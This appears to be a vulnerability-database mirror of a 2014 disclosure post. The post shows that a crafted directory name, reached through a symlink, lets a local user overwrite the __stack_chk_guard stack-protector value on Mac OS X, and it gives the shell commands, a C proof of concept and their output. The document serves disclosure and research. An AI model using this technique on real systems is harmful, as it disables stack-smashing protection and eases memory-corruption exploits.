Advertisement






Mac OS X stack_chk_guard not always safe from overwrite

CVE Category Price Severity
Not specified CWE-121 Not specified High
Author Risk Exploitation Type Date
Not specified High Local 2014-05-18
CPE
cpe:cpe:/o:apple:mac_os_x
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014050091

Below is a copy:

Hi,

$ sysctl kern.version
kern.version: Darwin Kernel Version 13.1.0: Wed Apr 2 23:52:02 PDT 2014;
root:xnu-2422.92.1~2/RELEASE_X86_64

$ mkdir stack_guard=0x4141414141414141
$ ln -sf ../appledump stack_guard=0x4141414141414141/link
$ stack_guard=0x4141414141414141/link
string(0):
string(1):
string(2): stack_guard=0x7600c0a70d1184c5
string(3):

__stack_chk_guard: 4141414141414141

</bash>

source: http://maker.fea.st/appledump.c

#include <stdio.h>

extern long __stack_chk_guard[8];

int main(int argc, char **argv, char **envp, char **apple)
{
  int i;
  for (i=0; apple[i]; i++) {
    printf("string(%u): %s\n", i, apple[i]);
  }

  printf("\n\n__stack_chk_guard: %016lx\n", *(long *)__stack_chk_guard);
}


All credit due to the anon pastebin poster.

--
rai


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum